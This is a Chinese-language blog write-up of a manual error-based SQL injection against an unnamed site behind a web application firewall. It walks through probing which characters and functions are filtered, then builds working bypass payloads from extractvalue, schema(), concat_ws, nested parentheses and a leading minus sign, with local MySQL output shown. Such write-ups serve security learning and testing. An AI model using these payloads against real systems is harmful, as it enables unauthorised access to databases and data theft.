前言:核心思想就是判断出能够逃逸的字符
0x01 寻找注入点
平平无奇的一个界面,随意查询看看数据包
数据包
看到了很多的参数,随意加上双引号,看看回显
嗯哼,这不就是妥妥的sql注入吗
0x02 开始绕过
现在注入点找到了,现在开始绕过,得到数据库名
第一步 看看都过滤了什么
绕过过滤机制之前肯定得知道他都过滤了什么东西
单引号 被拦截了
括号 没有被拦截 说明还能使用函数
试一试 select 发现被拦截了
试了试 1,2,3 还是被拦截了,真服了,并列语句也不能使用
到这里不禁思考,能不能用不拦截的语句包含一些被拦截的语句,最后结果会是怎么样?想到这里,前面刚好括号不拦截,那就用括号包含一下试试
嗯哼,发现不拦截了
那思路就明确了,就是用括号去绕过这里的过滤机制
第二步 确定函数
前面经过初步的测试,大概发现了过滤机制的过滤规则
下面确定函数,也就是要用哪种方法进行注入,我一般喜欢使用报错注入,于是我直接甩出来一个updatexml
嗯哼,过滤了
那就换一个函数吧 报错注入的函数那么多,我不信全都过滤了
反手再掏出一个 extractvalue
好,没有过滤
那么现在就要开始构造语句了
第三步 构造语句
在构造语句之前先看看extractvalue函数标准语法
mysql> select (extractvalue(1,(database())));
+--------------------------------+
| (extractvalue(1,(database()))) |
+--------------------------------+
| |
+--------------------------------+
1 row in set (0.00 sec)
//在1中查询不到database()的结果,但是也没有语法错误,所以不会报错
但是在sql注入中我们一般用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串(使用频率比较广泛)
select (extractvalue(1,concat(0x7e,database())));
我们在自己本地的数据库中试一试该语句
mysql> select (extractvalue(1,concat(0x7e,database())));
ERROR 1105 (HY000): XPATH syntax error: '~lw'
发现没,这个语句会直接爆出我们的数据库名
现在我们先去使用一下这个语句
嗯 发现被过滤了,没事,我们前面才发现,并列的语句要用括号括起来,那么我们再修改一下
extractvalue(1,(concat(0x7e,(database()))))
还是被过滤了,这个时候就需要思考一下,语句和规则都没问题,那么就可能是某些函数被过滤了,我们要一个一个排除
首先我们先确定是不是database()被过滤了
发现是database函数被过滤了
那么现在就换一个能平替database的函数 百度搜索找到了schema函数
再去试试
schema函数没有被过滤
那再去试试
extractvalue(1,(concat(0x7e,(select schema()))))#
我去,还是被拦截了,难不成是concat函数不能用吗,好好好,再去验证一下
果然。。。。。。
唉,再去找能平替的函数
经过一段时间的寻找,终于找到了一个不被拦截的函数了 concat_ws 函数
先来了解一下concat_ws函数:
CONCAT_WS()可自定义连接符
用法:CONCAT_WS(separator,str1,str2,…)
第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间
本地测试一下用法
mysql> select concat_ws(5,1,2);
+------------------+
| concat_ws(5,1,2) |
+------------------+
| 152 |
+------------------+
1 row in set (0.00 sec)
看到了吧,就是把后面两个字符连接起来,连接符就是第一个字符(可以这样理解)
先本地试试
mysql> select extractvalue(1,(concat_ws(1,(2),(schema()))));
ERROR 1105 (HY000): XPATH syntax error: 'lw'
本地是没有问题的 注意这里还有用括号包含并列语句,这是前面讲过的
再去试试看
嗯。。。发现确实没有被过滤了 但是还是不行
怎么办呢,思来想去,凭借经验 在前面加个减号试试
为什么用减号呢 因为在本地是可以存在的
mysql> select - extractvalue(1,(concat_ws(1,(2),(schema()))));
ERROR 1105 (HY000): XPATH syntax error: 'lw'
具体为什么我也不太清楚 这种都是试出来的经验。
结语:碰到SQL注入特别是有waf的情况下,自己多去尝试手注,去尝试绕过,可能会有不一样的收获。
- 最新
- 最热
只看作者